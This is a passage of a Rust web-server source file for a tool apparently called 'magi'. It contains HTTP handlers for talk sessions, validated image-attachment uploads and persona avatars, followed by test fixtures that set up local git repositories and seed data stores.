8256 let fresh = {
8257 let ui = Arc::clone(&ui);
8258 let id = id.clone();
8259 blocking(move || Ok(ui.talks.get(&id)?)).await
8260 };
8261 let draining = match fresh {
8262 Ok(talk) => {
8263 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8264 }
8265 Err(_) => false,
8266 };
8267 let talk = switched?;
8268 Ok(Json(TalkView::new(talk, draining, &ui.home)))
8269}
8270
8271#[derive(Debug, Deserialize)]
8273struct TalkImplementers {
8274 implementers: u8,
8275}
8276
8277async fn talk_implementers(
8281 State(ui): State<Arc<Ui>>,
8282 Path(id): Path<String>,
8283 Json(body): Json<TalkImplementers>,
8284) -> ApiResult<Json<TalkView>> {
8285 let id = {
8286 let ui = Arc::clone(&ui);
8287 blocking(move || resolve_talk(&ui.talks, &id)).await?
8288 };
8289 let repo = {
8290 let ui = Arc::clone(&ui);
8291 let id = id.clone();
8292 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8293 };
8294 let cfg = config_for(&repo).await?;
8295 {
8300 let ui = Arc::clone(&ui);
8301 let id = id.clone();
8302 let cfg = cfg.clone();
8303 let wanted = body.implementers;
8304 blocking(move || {
8305 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
8306 refuse_if_closed(&ui.talks.get(&id)?)
8307 })
8308 .await?;
8309 }
8310 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8311 return Err(ApiError::conflict(
8312 "a talk turn is running; change the implementers once it has answered",
8313 ));
8314 };
8315 let switched = {
8316 let ui = Arc::clone(&ui);
8317 let id = id.clone();
8318 let cfg = cfg.clone();
8319 blocking(move || {
8320 let chosen =
8321 talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
8322 let mut talk = ui.talks.get(&id)?;
8323 if !talk.status.open() {
8324 return Err(ApiError::conflict(format!(
8325 "talk {} is {} and takes no more turns",
8326 talk.short(),
8327 talk.status.as_str()
8328 )));
8329 }
8330 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
8331 Ok(talk)
8332 })
8333 .await
8334 };
8335 let observed = ui.queued_generation(&id);
8337 let fresh = {
8338 let ui = Arc::clone(&ui);
8339 let id = id.clone();
8340 blocking(move || Ok(ui.talks.get(&id)?)).await
8341 };
8342 let draining = match fresh {
8343 Ok(talk) => {
8344 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8345 }
8346 Err(_) => false,
8347 };
8348 let talk = switched?;
8349 Ok(Json(TalkView::new(talk, draining, &ui.home)))
8350}
8351
8352async fn talk_close(
8354 State(ui): State<Arc<Ui>>,
8355 Path(id): Path<String>,
8356) -> ApiResult<Json<TalkView>> {
8357 blocking(move || {
8358 let id = resolve_talk(&ui.talks, &id)?;
8359 let mut talk = ui.talks.get(&id)?;
8360 talk::close(&mut talk, &ui.talks)?;
8361 let thinking = ui.is_thinking(&talk.id);
8362 Ok(Json(TalkView::new(talk, thinking, &ui.home)))
8363 })
8364 .await
8365}
8366
8367async fn talk_reopen(
8369 State(ui): State<Arc<Ui>>,
8370 Path(id): Path<String>,
8371) -> ApiResult<Json<TalkView>> {
8372 blocking(move || {
8373 let id = resolve_talk(&ui.talks, &id)?;
8374 let mut talk = ui.talks.get(&id)?;
8375 talk::reopen(&mut talk, &ui.talks)?;
8376 let thinking = ui.is_thinking(&talk.id);
8377 Ok(Json(TalkView::new(talk, thinking, &ui.home)))
8378 })
8379 .await
8380}
8381
8382async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
8392 blocking(move || {
8393 let id = resolve_talk(&ui.talks, &id)?;
8394 ui.talks.remove(&id)?;
8395 Ok(StatusCode::NO_CONTENT)
8396 })
8397 .await
8398}
8399
8400fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
8402 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
8403}
8404
8405async fn talk_attachment_post(
8408 State(ui): State<Arc<Ui>>,
8409 Path(id): Path<String>,
8410 headers: HeaderMap,
8411 body: Bytes,
8412) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
8413 let mime = validate_attachment(&headers, &body)?;
8414 let name = filename_header(&headers);
8415 let data = body.to_vec();
8416 blocking(move || {
8417 let id = resolve_talk(&ui.talks, &id)?;
8418 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
8419 Ok((StatusCode::CREATED, Json(att)))
8420 })
8421 .await
8422}
8423
8424async fn talk_attachment_get(
8427 State(ui): State<Arc<Ui>>,
8428 Path((id, att)): Path<(String, String)>,
8429) -> ApiResult<Response> {
8430 blocking(move || {
8431 let id = resolve_talk(&ui.talks, &id)?;
8432 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
8433 return Err(ApiError::not_found(format!(
8434 "talk {id} has no attachment `{att}`"
8435 )));
8436 };
8437 Ok(attachment_response(&meta.mime, data))
8438 })
8439 .await
8440}
8441
8442fn avatar_url(talk_id: &str, p: &persona::Persona) -> String {
8445 let mut id = String::new();
8446 for b in p.id.bytes() {
8447 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
8448 id.push(char::from(b));
8449 } else {
8450 id.push_str(&format!("%{b:02X}"));
8451 }
8452 }
8453 format!(
8454 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
8455 persona_icon::fingerprint(p.icon.as_deref())
8456 )
8457}
8458
8459#[derive(Debug, Default, Deserialize)]
8460struct AvatarQuery {
8461 persona: Option<String>,
8462 builtin: Option<String>,
8464}
8465
8466const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
8468
8469fn builtin_avatar(id: &str) -> Response {
8470 svg_avatar(persona_icon::builtin_svg(id))
8471}
8472
8473async fn operator_avatar() -> Response {
8474 svg_avatar(persona_icon::operator_svg())
8475}
8476
8477fn svg_avatar(svg: &'static str) -> Response {
8478 (
8479 [
8480 (header::CONTENT_TYPE, "image/svg+xml"),
8481 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8482 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
8483 (header::CACHE_CONTROL, "no-cache"),
8484 ],
8485 svg,
8486 )
8487 .into_response()
8488}
8489
8490fn magi_icon_path(home: &FsPath) -> PathBuf {
8492 home.join("magi-icon.data")
8493}
8494
8495fn read_magi_icon(home: &FsPath) -> Option<String> {
8496 let path = magi_icon_path(home);
8497 let metadata = std::fs::metadata(&path).ok()?;
8498 if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
8499 return None;
8500 }
8501 let file = std::fs::File::open(path).ok()?;
8502 use std::io::Read;
8503 let mut text = String::new();
8504 file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
8505 .read_to_string(&mut text)
8506 .ok()?;
8507 if text.len() > persona_icon::ICON_MAX_BYTES {
8508 return None;
8509 }
8510 text.starts_with("data:").then_some(text)
8511}
8512
8513fn magi_icon_url(home: &FsPath) -> String {
8514 format!(
8515 "/avatars/magi?v={}",
8516 persona_icon::fingerprint(read_magi_icon(home).as_deref())
8517 )
8518}
8519
8520async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
8521 Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
8522}
8523
8524#[derive(Deserialize)]
8525struct MagiIconUpload {
8526 icon: String,
8527}
8528
8529fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
8530 if !icon.starts_with("data:") {
8531 anyhow::bail!("upload a raster image");
8532 }
8533 let (mime, bytes) = persona_icon::load(icon)?;
8534 if sniffed_mime(&bytes) != Some(mime) {
8535 anyhow::bail!("image content does not match its type");
8536 }
8537 std::fs::create_dir_all(home)?;
8538 let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
8539 let temp = home.join(format!(".magi-icon-{token}.tmp"));
8540 let result = (|| -> Result<()> {
8541 use std::io::Write;
8542 let mut file = std::fs::OpenOptions::new()
8543 .write(true)
8544 .create_new(true)
8545 .open(&temp)?;
8546 file.write_all(icon.as_bytes())?;
8547 file.sync_all()?;
8548 std::fs::rename(&temp, magi_icon_path(home))?;
8549 Ok(())
8550 })();
8551 let _ = std::fs::remove_file(temp);
8552 result?;
8553 Ok(())
8554}
8555
8556async fn magi_icon_put(
8557 State(ui): State<Arc<Ui>>,
8558 Json(upload): Json<MagiIconUpload>,
8559) -> ApiResult<Json<serde_json::Value>> {
8560 blocking(move || {
8561 if !upload.icon.starts_with("data:") {
8562 return Err(ApiError::bad_request("upload a raster image"));
8563 }
8564 let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
8565 if sniffed_mime(&bytes) != Some(mime) {
8566 return Err(ApiError::bad_request(
8567 "image content does not match its type",
8568 ));
8569 }
8570 save_magi_icon(&ui.home, &upload.icon)?;
8571 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
8572 })
8573 .await
8574}
8575
8576async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8577 blocking(move || {
8578 match std::fs::remove_file(magi_icon_path(&ui.home)) {
8579 Ok(()) => (),
8580 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
8581 Err(e) => return Err(anyhow::Error::from(e).into()),
8582 }
8583 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
8584 })
8585 .await
8586}
8587
8588async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
8589 let icon = (q.builtin.is_none())
8590 .then(|| read_magi_icon(&ui.home))
8591 .flatten();
8592 let mut response = match icon
8593 .as_deref()
8594 .and_then(|icon| persona_icon::load(icon).ok())
8595 {
8596 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
8597 attachment_response(mime, bytes)
8598 }
8599 _ => svg_avatar(persona_icon::magi_svg()),
8600 };
8601 response
8602 .headers_mut()
8603 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
8604 response
8605}
8606
8607async fn talk_avatar(
8612 State(ui): State<Arc<Ui>>,
8613 Path(id): Path<String>,
8614 Query(q): Query<AvatarQuery>,
8615) -> ApiResult<Response> {
8616 blocking(move || {
8617 let id = resolve_talk(&ui.talks, &id)?;
8618 let talk = ui.talks.get(&id)?;
8619 let wanted = q
8620 .persona
8621 .as_deref()
8622 .map(str::trim)
8623 .filter(|p| !p.is_empty())
8624 .unwrap_or(&talk.persona)
8625 .to_owned();
8626 let specs = match Config::discover(&talk.repo, None) {
8627 Ok((cfg, _)) => cfg.talk.personas,
8628 Err(e) => {
8629 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
8630 Vec::new()
8631 }
8632 };
8633 let Some(found) = persona::find(&specs, &wanted) else {
8634 return Ok(builtin_avatar(persona::DEFAULT_ID));
8635 };
8636 let Some(icon) = found.icon.as_deref().filter(|_| q.builtin.is_none()) else {
8637 return Ok(builtin_avatar(&found.id));
8638 };
8639 match persona_icon::load(icon) {
8640 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
8641 let mut res = attachment_response(mime, bytes);
8642 res.headers_mut().insert(
8643 header::CACHE_CONTROL,
8644 header::HeaderValue::from_static("no-cache"),
8645 );
8646 Ok(res)
8647 }
8648 Ok((mime, _)) => {
8649 tracing::warn!(
8650 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
8651 found.id
8652 );
8653 Ok(builtin_avatar(&found.id))
8654 }
8655 Err(e) => {
8656 tracing::warn!(
8657 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
8658 found.id
8659 );
8660 Ok(builtin_avatar(&found.id))
8661 }
8662 }
8663 })
8664 .await
8665}
8666
8667fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
8678 if data.len() > ATTACHMENT_MAX_BYTES {
8679 return Err(ApiError::bad_request(format!(
8680 "attachment is {} bytes, over the {} MiB limit",
8681 data.len(),
8682 ATTACHMENT_MAX_BYTES / (1024 * 1024)
8683 ))
8684 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
8685 }
8686 if data.is_empty() {
8687 return Err(ApiError::bad_request("attachment is empty"));
8688 }
8689 let declared = declared_mime(headers)?;
8690 match sniffed_mime(data) {
8691 Some(sniffed) if sniffed == declared => Ok(declared),
8692 Some(sniffed) => Err(ApiError::bad_request(format!(
8693 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
8694 ))),
8695 None => Err(ApiError::bad_request(
8696 "the file's bytes do not match any accepted image format",
8697 )),
8698 }
8699}
8700
8701fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
8705 let raw = headers
8706 .get(header::CONTENT_TYPE)
8707 .and_then(|v| v.to_str().ok())
8708 .unwrap_or("")
8709 .split(';')
8710 .next()
8711 .unwrap_or("")
8712 .trim()
8713 .to_ascii_lowercase();
8714 ATTACHMENT_MIME_WHITELIST
8715 .iter()
8716 .find(|&&m| m == raw)
8717 .copied()
8718 .ok_or_else(|| {
8719 if raw == "image/svg+xml" {
8720 ApiError::bad_request(
8721 "SVG is not accepted: it can carry active content (e.g. a <script>), \
8722 not just a picture",
8723 )
8724 } else if raw.is_empty() {
8725 ApiError::bad_request("Content-Type is required for an attachment upload")
8726 } else {
8727 ApiError::bad_request(format!(
8728 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
8729 image/gif or image/webp"
8730 ))
8731 }
8732 })
8733}
8734
8735fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
8738 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
8739 Some("image/png")
8740 } else if data.starts_with(b"\xff\xd8\xff") {
8741 Some("image/jpeg")
8742 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
8743 Some("image/gif")
8744 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
8745 Some("image/webp")
8746 } else {
8747 None
8748 }
8749}
8750
8751fn filename_header(headers: &HeaderMap) -> String {
8757 headers
8758 .get(FILENAME_HEADER)
8759 .and_then(|v| v.to_str().ok())
8760 .map(str::trim)
8761 .filter(|s| !s.is_empty())
8762 .unwrap_or("attachment")
8763 .to_owned()
8764}
8765
8766fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
8773 let content_type = ATTACHMENT_MIME_WHITELIST
8774 .iter()
8775 .find(|&&m| m == mime)
8776 .copied()
8777 .unwrap_or("application/octet-stream");
8778 (
8779 [
8780 (header::CONTENT_TYPE, content_type),
8781 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8782 ],
8783 body,
8784 )
8785 .into_response()
8786}
8787
8788async fn config_for(repo: &FsPath) -> ApiResult<Config> {
8796 let repo = repo.to_path_buf();
8797 blocking(move || {
8798 let (cfg, _) = Config::discover(&repo, None)?;
8799 Ok(cfg)
8800 })
8801 .await
8802}
8803
8804fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
8810 let mut hits = ids
8811 .into_iter()
8812 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
8813 match (hits.next(), hits.next()) {
8814 (Some(one), None) => Ok(one),
8815 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
8816 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
8817 "`{prefix}` matches more than one {what}, including {a} and {b}"
8818 ))),
8819 }
8820}
8821
8822#[cfg(test)]
8823mod tests {
8824
8825 #[test]
8826 fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
8827 let dir = tempfile::tempdir().unwrap();
8828 let store = ask::Questions::at(dir.path().join("questions"));
8829 let mut q = Question::new(
8830 "task".to_owned(),
8831 "conduct".to_owned(),
8832 "conduct".to_owned(),
8833 "choose".to_owned(),
8834 String::new(),
8835 vec!["keep".to_owned()],
8836 );
8837 q.deputy = Some(ask::Deputy::new("brief".to_owned()));
8838 q.say("why?").unwrap();
8839 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
8840 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
8841 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
8842 store.put(&mut q).unwrap();
8843 assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
8844 assert_eq!(store.count_needs_owner(), 1);
8845 store.beat(&q.id, ask::WaiterKind::Deputy);
8846 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
8847 assert_eq!(store.count_needs_owner(), 0);
8848 let mut stale = store.read_lease(&q.id).unwrap();
8849 stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
8850 std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
8851 let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
8852 assert!(view.deputy_exhausted);
8853 assert!(view.waiting_on_agent);
8854 assert_eq!(view.question.choices, ["keep"]);
8855 store.drop_lease(&q.id);
8856 q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
8857 assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
8858 }
8859
8860 #[test]
8861 fn holder_reads_the_lease_not_the_record() {
8862 let mut q = Question::new(
8863 "run".to_owned(),
8864 "implement".to_owned(),
8865 "impl-A".to_owned(),
8866 "which?".to_owned(),
8867 String::new(),
8868 Vec::new(),
8869 );
8870 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
8871 q.cwd = Some("/tmp".to_owned());
8872 assert_eq!(holder_of(&q, None), Some("nobody"));
8873 let beat = |kind, ago: i64| ask::Lease {
8874 kind,
8875 pid: 1,
8876 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
8877 .unwrap(),
8878 };
8879 let fresh = beat(ask::WaiterKind::Asker, 1);
8880 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
8881 let daemon = beat(ask::WaiterKind::Daemon, 1);
8882 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
8883 let stale = beat(ask::WaiterKind::Asker, 3600);
8884 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
8885
8886 let mut c = Question::new(
8889 "task".to_owned(),
8890 crate::conduct::NODE.to_owned(),
8891 "conduct".to_owned(),
8892 "which?".to_owned(),
8893 String::new(),
8894 Vec::new(),
8895 );
8896 assert_eq!(holder_of(&c, None), Some("nobody"));
8897 c.cwd = Some("/tmp".to_owned());
8898 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
8899 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
8900 let deputy = beat(ask::WaiterKind::Deputy, 1);
8901 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
8902 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
8903
8904 let mut r = Question::new(
8906 String::new(),
8907 crate::bump::NOTICE_NODE.to_owned(),
8908 "release-watch".to_owned(),
8909 "stuck?".to_owned(),
8910 String::new(),
8911 vec!["hold".to_owned()],
8912 );
8913 assert_eq!(holder_of(&r, None), Some("nobody"));
8914 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
8915 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
8916 r.deputy = None;
8918 r.seat = "bump".to_owned();
8919 assert_eq!(holder_of(&r, None), None);
8920
8921 let mut m = Question::new(
8924 "run".to_owned(),
8925 crate::land::APPROVAL_NODE.to_owned(),
8926 "land".to_owned(),
8927 "merge?".to_owned(),
8928 String::new(),
8929 Vec::new(),
8930 );
8931 assert_eq!(holder_of(&m, None), Some("nobody"));
8932 assert_eq!(
8933 holder_of(&m, Some(&fresh)),
8934 Some("asker"),
8935 "a live explicit wait is a listener even before a deputy is attached"
8936 );
8937 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
8938 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
8939 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
8940 assert_eq!(holder_of(&m, None), Some("nobody"));
8941 }
8942
8943 fn stub_config() -> Config {
8944 Config {
8947 agents: vec![crate::config::AgentSpec {
8948 id: "stub".to_owned(),
8949 kind: AgentKind::Command,
8950 model: None,
8951 command: vec!["true".to_owned()],
8952 extra_args: Vec::new(),
8953 env: Default::default(),
8954 prompt_delivery: None,
8955 }],
8956 ..Config::default()
8957 }
8958 }
8959
8960 fn plain_question(seat: &str) -> Question {
8961 Question::new(
8962 String::new(),
8963 "n".to_owned(),
8964 seat.to_owned(),
8965 "s".to_owned(),
8966 String::new(),
8967 Vec::new(),
8968 )
8969 }
8970
8971 #[test]
8972 fn deputies_enabled_follows_the_config() {
8973 let on = stub_config();
8974 assert!(crate::deputy::can_start(Some(&on), ""));
8975 assert!(crate::deputy::can_start(Some(&on), "stub"));
8976 let mut off = on.clone();
8977 off.daemon.max_deputies = 0;
8978 assert!(!crate::deputy::can_start(Some(&off), ""));
8979 let mut empty = on;
8980 empty.agents.clear();
8981 assert!(!crate::deputy::can_start(Some(&empty), ""));
8982 assert!(!crate::deputy::can_start(None, ""));
8983 }
8984
8985 #[test]
8986 fn question_views_load_the_config_once() {
8987 let dir = TempDir::new().unwrap();
8988 let store = ask::Questions::at(dir.path().to_path_buf());
8989 let mut with_deputy = plain_question("b");
8990 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
8991 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
8992
8993 let calls = std::cell::Cell::new(0usize);
8994 let views = question_views(qs.clone(), &store, || {
8995 calls.set(calls.get() + 1);
8996 Some(stub_config())
8997 });
8998 assert_eq!(calls.get(), 1);
8999 assert_eq!(views.len(), 3);
9000 for (v, q) in views.iter().zip(&qs) {
9001 assert_eq!(
9002 v.deputies_enabled,
9003 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
9004 );
9005 }
9006
9007 let views = question_views(qs, &store, || None);
9008 assert!(views.iter().all(|v| !v.deputies_enabled));
9009
9010 let calls = std::cell::Cell::new(0usize);
9011 let views = question_views(Vec::new(), &store, || {
9012 calls.set(calls.get() + 1);
9013 None
9014 });
9015 assert!(views.is_empty());
9016 assert_eq!(calls.get(), 0);
9017 }
9018
9019 use pretty_assertions::assert_eq;
9020 use serde_json::Value;
9021 use tempfile::TempDir;
9022 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
9023
9024 use super::*;
9025 use crate::config::Config;
9026 use crate::queue::Source;
9027
9028 const SETTLE_STEPS: usize = 3_000;
9039
9040 struct Fixture {
9046 home: TempDir,
9047 addr: SocketAddr,
9048 }
9049
9050 impl Fixture {
9051 async fn start() -> Self {
9052 Self::with_loop(launch_idle).await
9053 }
9054
9055 async fn with_loop(launch: Launch) -> Self {
9057 let home = TempDir::new().expect("temp home");
9058 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
9059 Self { home, addr }
9060 }
9061
9062 async fn with_repo(repo: PathBuf) -> Self {
9066 let home = TempDir::new().expect("temp home");
9067 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
9068 Self { home, addr }
9069 }
9070
9071 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
9074 let home = TempDir::new().expect("temp home");
9075 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
9076 Self { home, addr }
9077 }
9078
9079 async fn serve(
9080 home: &FsPath,
9081 repo: PathBuf,
9082 launch: Launch,
9083 machine: Option<PathBuf>,
9084 ) -> SocketAddr {
9085 let queue = Queue::at(home.join("queue"));
9086 let runs = home.join("runs");
9087 std::fs::create_dir_all(&runs).expect("runs dir");
9088 let worktrees = home.join("wt").join("magi");
9089 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
9090 let ui = Ui::new(
9091 queue,
9092 Questions::at(home.join("questions")),
9093 Talks::at(home.join("talks")),
9094 runs,
9095 home.to_path_buf(),
9096 repo,
9097 )
9098 .with_worktrees_root(worktrees)
9099 .with_machine_config(machine)
9100 .with_launch(launch);
9101 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
9102 .await
9103 .expect("bind loopback");
9104 let addr = listener.local_addr().expect("local addr");
9105 tokio::spawn(async move {
9106 let router = ui
9107 .router()
9108 .layer(axum::middleware::from_fn(request_cost::observe));
9109 let _ = axum::serve(listener, router).await;
9110 });
9111 addr
9112 }
9113
9114 fn queue(&self) -> Queue {
9115 Queue::at(self.home.path().join("queue"))
9116 }
9117
9118 fn questions(&self) -> Questions {
9119 Questions::at(self.home.path().join("questions"))
9120 }
9121
9122 fn talks(&self) -> Talks {
9123 Talks::at(self.home.path().join("talks"))
9124 }
9125
9126 fn runs(&self) -> PathBuf {
9127 self.home.path().join("runs")
9128 }
9129
9130 async fn get(&self, path: &str) -> Res {
9131 request(self.addr, "GET", path, None).await
9132 }
9133
9134 async fn head(&self, path: &str) -> Res {
9139 request(self.addr, "HEAD", path, None).await
9140 }
9141
9142 async fn post(&self, path: &str, body: Option<&str>) -> Res {
9143 request(self.addr, "POST", path, body).await
9144 }
9145
9146 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
9147 request_with(self.addr, "GET", path, None, extra).await
9148 }
9149
9150 async fn delete(&self, path: &str) -> Res {
9151 request(self.addr, "DELETE", path, None).await
9152 }
9153
9154 async fn put(&self, path: &str, body: &str) -> Res {
9155 request(self.addr, "PUT", path, Some(body)).await
9156 }
9157
9158 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
9160 request_bytes(self.addr, path, headers, body).await
9161 }
9162 }
9163
9164 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
9167 let tmp = TempDir::new().unwrap();
9168 let mut repos = Vec::new();
9169 for name in ["one", "two"] {
9170 let repo = tmp.path().join(name);
9171 let origin = tmp.path().join(format!("{name}.git"));
9172 std::fs::create_dir_all(&repo).unwrap();
9173 crate::git::git(&repo, &["init", "-b", "main"])
9174 .await
9175 .unwrap();
9176 std::fs::write(
9177 repo.join("magi.toml"),
9178 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
9179 )
9180 .unwrap();
9181 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
9182 crate::git::git(
9183 &repo,
9184 &[
9185 "-c",
9186 "user.name=fixture",
9187 "-c",
9188 "user.email=fixture@example.invalid",
9189 "commit",
9190 "-m",
9191 "fixture",
9192 ],
9193 )
9194 .await
9195 .unwrap();
9196 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
9197 .await
9198 .unwrap();
9199 crate::git::git(
9200 &repo,
9201 &["remote", "add", "origin", origin.to_str().unwrap()],
9202 )
9203 .await
9204 .unwrap();
9205 crate::git::git(&repo, &["push", "origin", "main"])
9206 .await
9207 .unwrap();
9208 crate::git::git(
9209 &repo,
9210 &[
9211 "symbolic-ref",
9212 "refs/remotes/origin/HEAD",
9213 "refs/remotes/origin/main",
9214 ],
9215 )
9216 .await
9217 .unwrap();
9218 let (cfg, _) = Config::discover(&repo, None).unwrap();
9219 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
9220 repos.push(repo);
9221 }
9222 let repos: [PathBuf; 2] = repos.try_into().unwrap();
9223 (tmp, repos)
9224 }
9225
9226 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
9227 let (tmp, repos) = performance_repositories().await;
9228 let machine = tmp.path().join("machine.toml");
9229 std::fs::write(&machine, "").unwrap();
9230 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
9231 (tmp, repos, fx)
9232 }
9233
9234 fn seed_performance(
9235 fx: &Fixture,
9236 repos: &[PathBuf; 2],
9237 questions: usize,
9238 runs: usize,
9239 items: usize,
9240 ) {
9241 for i in fx.questions().list().len()..questions {
9243 let mut question = Question::new(
9244 "20261001-000000-0000".into(),
9245 "implement".into(),
9246 "impl-A".into(),
9247 format!("question {i}"),
9248 "context".into(),
9249 vec!["yes".into(), "no".into()],
9250 );
9251 question.id = format!("20261003-000000-{i:04x}");
9252 fx.questions().put(&mut question).unwrap();
9253 }
9254 for i in run_ids(&fx.runs()).len()..runs {
9255 write_run_repo(
9256 &fx.runs(),
9257 &format!("20261001-000000-{i:04x}"),
9258 RunStatus::Ready,
9259 repos[i % 2].to_str().unwrap(),
9260 );
9261 }
9262 for i in fx.talks().list().len()..items {
9263 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
9264 let mut talk = fx.talks().get(&id).unwrap();
9265 talk.repo = repos[i % 2].clone();
9266 fx.talks().put(&mut talk).unwrap();
9267 let mut task = crate::queue::Task::new(
9268 format!("task {i}"),
9269 "instruction".into(),
9270 repos[i % 2].clone(),
9271 crate::queue::Source::Agent {
9272 run: id,
9273 node: crate::queue::CHAT_NODE.into(),
9274 },
9275 );
9276 task.id = format!("20261004-000000-{i:04x}");
9277 fx.queue().put(&mut task).unwrap();
9278 if i < crate::notices::CAP {
9280 Notices::at(fx.home.path().join("notifications"))
9281 .raise(Notice::info(&format!("notice-{i}"), "notification"))
9282 .unwrap();
9283 }
9284 }
9285 assert_eq!(fx.questions().list().len(), questions);
9286 assert_eq!(run_ids(&fx.runs()).len(), runs);
9287 assert_eq!(fx.talks().list().len(), items);
9288 assert_eq!(fx.queue().list().len(), items);
9289 assert_eq!(
9290 Notices::at(fx.home.path().join("notifications"))
9291 .list()
9292 .len(),
9293 items.min(crate::notices::CAP)
9294 );
9295 }
9296
9297 fn request_counts(res: &Res) -> (usize, usize) {
9298 assert_eq!(res.status, 200, "{}", res.body);
9299 (
9300 res.header("x-test-discoveries").unwrap().parse().unwrap(),
